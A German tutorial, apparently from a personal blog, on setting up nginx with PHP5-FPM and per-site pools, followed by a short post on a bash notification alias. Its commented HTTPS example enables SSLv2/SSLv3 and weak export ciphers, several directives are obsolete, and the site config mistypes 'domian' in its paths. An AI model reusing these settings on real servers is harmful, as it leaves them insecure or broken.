Danach installieren wir nginx (Webserver) + PHP, wenn du noch apache2 oder einen anderen Webserver, welcher auf Port 80 lauscht installiert hast, musst du diesen nun deinstallieren bzw. erst einmal stoppen und ggf. einige libraries nachinstallieren, falls du Ubuntu und nicht Debian nutzt.


ggf. nur bei Ubuntu

wget http://us.archive.ubuntu.com/ubuntu/pool/main/k/krb5/libkrb53_1.6.dfsg.4~beta1-5ubuntu2_i386.deb
wget http://us.archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu38_3.8-6ubuntu0.2_i386.deb
sudo dpkg -i *.deb

ggf. root-Rechte

sudo bash

ggf. apache stoppen

/etc/init.d/apache2 stop
aptitude install nginx php5-fpm

Nun kommen wir zur Konfiguration, ich poste hier einfach mal meine komplette Konfig, daher sollte diese ohne Probleme lauffähig sein, wenn du die aktuelle Version installiert hast.

vim /etc/nginx/nginx.conf
user www-data;
worker_processes 4;
worker_rlimit_nofile 3000;
pid /var/run/nginx.pid;

# [ debug | info | notice | warn | error | crit ]
error_log /var/log/nginx/error.log;

#google_perftools_profiles /tmp/profile/;

events {
        worker_connections 2048;
        # use [ kqueue | rtsig | epoll | /dev/poll | select | poll ] ;
        use epoll;
        multi_accept on;
}

http {
        server_names_hash_bucket_size 64;

        ## Size Limits
        client_max_body_size        10M;
        client_header_buffer_size   32k;
        client_body_buffer_size     128k;
        large_client_header_buffers 64 8k;

        ## Timeouts
        client_body_timeout   3m;
        client_header_timeout 3m;
        send_timeout          3m;
        #expires              24h;
        keepalive_timeout     120 120;

        ## General Options
        ignore_invalid_headers   on;
        keepalive_requests       100;
        limit_zone normal $binary_remote_addr 5m;
        recursive_error_pages    on;
        sendfile                 on;
        server_name_in_redirect  off;
        server_names_hash_max_size 512;
        server_tokens            off;
        set_real_ip_from 127.0.0.1;
        real_ip_header X-Forwarded-For;

        ## TCP options
        #tcp_nopush on;
        tcp_nodelay off;
        #send_lowat 12000;

        include mime.types;
        default_type application/octet-stream;

        access_log /var/log/nginx/access.log;

        log_format main '$remote_addr - $remote_user [$time_local] $status '
        '\"$request\" $body_bytes_sent \"$http_referer\" '
        '\"$http_user_agent\" \"http_x_forwarded_for\"';

        ## Cache
        open_file_cache max=1000 inactive=24h;
        open_file_cache_valid    24h;
        open_file_cache_min_uses 2;
        open_file_cache_errors   on;

        ## Compression
        gzip              on;
        gzip_static       on;
        gzip_disable      "MSIE [1-6]\.";
        gzip_buffers      32 8k;
        gzip_comp_level   5;
        gzip_http_version 1.0;
        gzip_min_length   0;
        gzip_proxied      any;
        gzip_types text/plain text/css text/xml text/javascript application/json application/xml application/xml+rss application/x-javascript image/x-icon application/x-perl application/x-httpd-cgi;
        gzip_vary         on;

        output_buffers   10 128k;
        postpone_output  1500;

        # Beispiel: Loadbalance
        #upstream webbackend  {
                #ip_hash;
                #server web1.domain.lan weight=10 max_fails=3 fail_timeout=30s;
                #server web2.domain.lan weight=1 backup;
        #}

        # Beispiel: Reverse-Proxy
        #server {
                #access_log  /var/log/nginx/access.proxy.log main;
                #error_log   /var/log/nginx/error.proxy.log;
                #listen      80;
                #server_name _;

                ## PROXY - Web
                #location ~ \.php$ {
                        #proxy_cache            cache;
                        #proxy_pass  http://127.0.0.1:8080;
                #}
        #}

        # Beispiel: HTTP Server (sollte jedoch besser unter /etc/nginx/sites-available/ angelegt werden)
        #server {
                #listen       80;
                #listen       somename:80;
                #server_name  somename  alias  another.alias;

                #location / {
                        #root   html;
                        #index  index.html index.htm;
                        #}
                #}

        # Beispiel: HTTPS Server (sollte jedoch besser unter /etc/nginx/sites-available/ angelegt werden)
        #server {
                #listen       443;
                #server_name  localhost;

                #ssl                  on;
                #ssl_certificate      cert.pem;
                #ssl_certificate_key  cert.key;

                #ssl_session_timeout  5m;

                #ssl_protocols  SSLv2 SSLv3 TLSv1;
                #ssl_ciphers  ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
                #ssl_prefer_server_ciphers   on;

                #location / {
                #root   html;
                #index  index.html index.htm;
                #}
        #}

#include /etc/nginx/proxy.conf;
include /etc/nginx/sites-enabled/*.conf;
}
vim /etc/nginx/proxy.conf
proxy_buffering            on;
proxy_cache_min_uses       3;
proxy_cache_path           /usr/local/nginx/proxy_cache/ levels=1:2 keys_zone=cache:10m inactive=24h max_size=1000M;
proxy_cache                cache;
proxy_cache_valid          200 24h;
proxy_cache_use_stale      error timeout invalid_header updating http_500 http_502 http_503 http_504;
proxy_ignore_client_abort  off;
proxy_intercept_errors     on;
proxy_next_upstream        error timeout invalid_header;
proxy_redirect             off;
proxy_set_header           Host            $host;
proxy_set_header           X-Real-IP       $remote_addr;
proxy_set_header           X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_buffers              32 1M;
proxy_busy_buffers_size    31M;
proxy_temp_file_write_size 30M;
proxy_buffer_size          30M;
proxy_connect_timeout      90;
proxy_send_timeout         90;
proxy_read_timeout         90;
proxy_ignore_headers       Expires Cache-Control;

so nun richten wir unsere erste Webseite ein… (domain.de muss in den nachfolgenden Howto durch deine eigene Domain ersetzt werden und natürlich für jede neue Werbepräsenz eine neue Datei angelegt werden.

cd /etc/nginx/sites-available/
vim domain.de.conf
server {
        server_name domain.de www.domain.de *.domain.de;
        root /var/www/www.domian.de/web/;
        listen 80;
        index index.php;
        access_log /var/log/nginx/www.domian.de.access.log main;
        error_log /var/log/nginx/www.domian.de.error.log;

        if (-f $request_filename) {
                break;
        }

        location / {
                try_files $uri $uri/ @domian;
        }

        location ~* ^.+.(htm|html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js)$ {
                access_log off;
                expires max;
                root /var/www/www.domian.de/web/;
        }

        location @domian {
                fastcgi_pass 127.0.0.1:9000;
                fastcgi_param SCRIPT_FILENAME $document_root/index.php;
                include /etc/nginx/fastcgi_params;
                fastcgi_param SCRIPT_NAME /index.php;
        }

        location ~ \.php$ {
                try_files $uri @domian;
                fastcgi_index index.php;
                fastcgi_pass 127.0.0.1:9000;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include /etc/nginx/fastcgi_params;
        }

        location ~ /\.ht {
                deny  all;
        }
}
vim /etc/nginx/fastcgi_params
fastcgi_connect_timeout 60;
fastcgi_send_timeout 180;
fastcgi_read_timeout 180;
fastcgi_buffer_size 128k;
fastcgi_buffers 4 256k;
fastcgi_busy_buffers_size 256k;
fastcgi_temp_file_write_size 256k;
fastcgi_intercept_errors on;

fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
fastcgi_param  CONTENT_TYPE       $content_type;
fastcgi_param  CONTENT_LENGTH     $content_length;

fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
fastcgi_param  REQUEST_URI        $request_uri;
fastcgi_param  DOCUMENT_URI       $document_uri;
fastcgi_param  DOCUMENT_ROOT      $document_root;
fastcgi_param  SERVER_PROTOCOL    $server_protocol;

fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
fastcgi_param  SERVER_SOFTWARE    nginx/$nginx_version;

fastcgi_param  REMOTE_ADDR        $remote_addr;
fastcgi_param  REMOTE_PORT        $remote_port;
fastcgi_param  SERVER_ADDR        $server_addr;
fastcgi_param  SERVER_PORT        $server_port;
fastcgi_param  SERVER_NAME        $server_name;

fastcgi_param  REDIRECT_STATUS    200;

nun müssen wir die Webseite nur noch aktivieren, indem wir die soeben erstellte Datei verlinken.

cd /etc/nginx/sites-enabled/
ln -s ../sites-available/domain.de.conf .
nginx -t
/etc/init.d/nginx restart

Und schon läuft unser neuer Webserver. :-) Um die neuste Version von Nginx auf Debian/Ubuntu zu installieren kann man ggf. noch folgende Quellen in die “sources.list” eintragen.

echo "deb  http://ppa.launchpad.net/nginx/stable/ubuntu lucid main" >> /etc/apt/sources.list
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C300EE8C
apt-get update
apt-get install nginx

… oder du verwendest die letzte Development-Version:

echo "deb  http://ppa.launchpad.net/nginx/development/ubuntu lucid main" >> /etc/apt/sources.list
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C300EE8C
apt-get update
apt-get install nginx

Nun müssen wir PHP5-FPM noch ein wenig anpassen, so dass php-fpm mit den Rechten des jeweilligen Webs ausgeführt wird:

mkdir /etc/php5/fpm/pools/
vim /etc/php5/fpm/php5-fpm.conf
[...]
[global]
pid = /var/run/php5-fpm.pid
error_log = /var/log/php-fpm.log
log_level = notice
emergency_restart_threshold = 10
emergency_restart_interval = 1m
process_control_timeout = 5s
daemonize = yes

;  pools defined in virtual hosts
include=/etc/php5/fpm/pools/*.conf
[..]

Nun leben wir für eine Webseite eine PHP-Konfiguration an:

vim /etc/php5/fpm/pools/domain.conf
[domain]

; one Port for one Website
listen = 127.0.0.1:11000

; uid/gid
user = domain_user
group = domain_group

; logging
request_slowlog_timeout = 5s
slowlog = /var/log/slowlog-domain.log

; Choose how the process manager will control the number of child processes.
pm.max_children = 10
pm.start_servers = 5
pm.min_spare_servers = 2
pm.max_spare_servers = 4
pm.max_requests = 500

; Pass environment variables
env[TMP] = /var/www/www.domain.de/phptmp
env[TMPDIR] = /var/www/www.domain.de/phptmp
env[TEMP] = /var/www/www.domain.de/phptmp

; inculde defaults
include = /etc/php5/fpm/common.conf

; host-specific php ini settings here
;php_admin_value[open_basedir] =
vim /etc/php5/fpm/common.conf
listen.backlog = -1
listen.allowed_clients = 127.0.0.1
pm = dynamic
pm.status_path = /status
ping.path = /ping
ping.response = pong
request_terminate_timeout = 120s
rlimit_files = 131072
rlimit_core = unlimited
catch_workers_output = yes
env[HOSTNAME] = $HOSTNAME
env[PATH] = /bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/sbin:/usr/sbin
Jetzt läuft der PHP-fpm Prozess mit den Rechten des jeweiligen Users und mit eigenem Tmp-Verzeichnis, wer will kann php-fpm sogar in einer chroot-Umgebung ausführen lassen :-)
Links:

Ubuntu benachrichtigt dich…

Dustin Kirkland, Core Developer vom Ubuntu Server hat etwas interessantes in seinem Blog geschrieben. Und zwar wie man sich über beendete Befehle in der Shell benachrichtigen lassen kann. Falls ein “make” oder “grep” … mal wieder etwas länger dauert, kann man beruhigt weiterarbeiten und wird per NotifyOSD darüber benachrichtigt, wenn der Befehl beendet wurde.

Dazu musst du als erstes folgende Datei editieren:

vim ~/.bashrc
alias alert_helper='history|tail -n1|sed -e "s/^\s*[0-9]\+\s*//" -e "s/;\s*alert$//"'
alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome-terminal.png "[$?] $(alert_helper)"'
sudo apt-get install libnotify-bin
source ~/.bashrc

Und schon kannst du es testen, einfach den “alert”-Befehl inter deinen Befehl schrieben, fertig…

sleep 5; alert